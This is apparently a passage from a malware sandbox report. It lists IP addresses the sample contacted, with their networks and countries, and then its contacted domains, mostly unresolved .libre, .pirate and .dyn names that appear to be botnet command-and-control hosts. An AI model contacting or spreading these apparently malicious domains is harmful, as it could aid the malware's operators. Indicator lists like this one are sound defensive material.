2856 BT-UK-ASBTnetUKRegionalnetworkGB false
51.45.134.113
 unknown United States
2686 ATGS-MMD-ASUS false
113.99.33.180
 unknown China
58466 CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN false
53.39.144.125
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
190.207.174.37
 unknown Venezuela
8048 CANTVServiciosVenezuelaVE false
165.241.54.145
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
154.111.27.197
 unknown Tunisia
37693 TUNISIANATN false
98.175.159.229
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
181.101.56.111
 unknown Argentina
7303 TelecomArgentinaSAAR false
147.151.0.122
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
47.175.155.144
 unknown United States
5650 FRONTIER-FRTRUS false
109.112.176.229
 unknown Italy
30722 VODAFONE-IT-ASNIT false
125.242.176.123
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
48.228.18.214
 unknown United States
2686 ATGS-MMD-ASUS false
151.22.11.121
 unknown Italy
1267 ASN-WINDTREIUNETEU false
191.41.190.10
 unknown Brazil
7738 TelemarNorteLesteSABR false
147.55.117.17
 unknown United States
4193 WA-STATE-GOVUS false
150.76.31.65
 unknown Japan 6400 CompaniaDominicanadeTelefonosSADO false
74.85.134.252
 unknown United States
13649 ASN-VINSUS false
53.50.228.184
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
125.122.217.225
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
42.171.142.171
 unknown China
4249 LILLY-ASUS false
121.0.38.85
 unknown Japan 9595 XEPHIONNTT-MECorporationJP false
38.39.145.247
 unknown United States
397311 WTV1951US false
110.67.193.162
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
137.104.97.218
 unknown United States
3128 BRUWS-AS3128US false
29.102.35.46
 unknown United States
7922 COMCAST-7922US false
3.12.143.233
 unknown United States
16509 AMAZON-02US false
214.165.76.44
 unknown United States
721 DNIC-ASBLK-00721-00726US false
169.9.204.224
 unknown United States
203 CENTURYLINK-LEGACY-LVLT-203US false
81.43.163.129
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
90.214.188.161
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
106.178.36.40
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
52.153.222.253
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
158.205.73.138
 unknown Japan 4694 IDCFIDCFrontierIncJP false
214.189.43.73
 unknown United States
721 DNIC-ASBLK-00721-00726US false
128.82.236.202
 unknown United States
1201 ASN-ODU-AS-ASUS false
203.42.94.13
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
173.18.124.31
 unknown United States
30036 MEDIACOM-ENTERPRISE-BUSINESSUS false
154.21.136.140
 unknown United States
174 COGENT-174US false
97.40.85.223
 unknown United States
22394 CELLCOUS false
17.245.220.215
 unknown United States
714 APPLE-ENGINEERINGUS false
193.43.19.40
 unknown Italy
137 ASGARRConsortiumGARREU false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true
f.codingdrunk. unknown unknown
75cents.libre unknown unknown
nineteen.libre. [malformed] unknown unknown
imaverygoodbadboy.libre. [malformed] unknown unknown
fortyfivehundred.dyn. [malformed] unknown unknown
f.codingdrunk. . [malformed] unknown unknown
ru.coziest.lol unknown unknown
75cents.libre. [malformed] unknown unknown
www.codingdrunk.in. [malformed] unknown unknown
2joints.libre. [malformed] unknown unknown
2joints.libre unknown unknown
eighteen.pirate unknown unknown
nineteen.libre unknown unknown
eighteen.pirate. [malformed] unknown unknown
www.codingdrunk.in unknown unknown
fortyfivehundred.dyn unknown unknown
21savage.dyn. [malformed] unknown unknown
ru.coziest.lol. [malformed] unknown unknown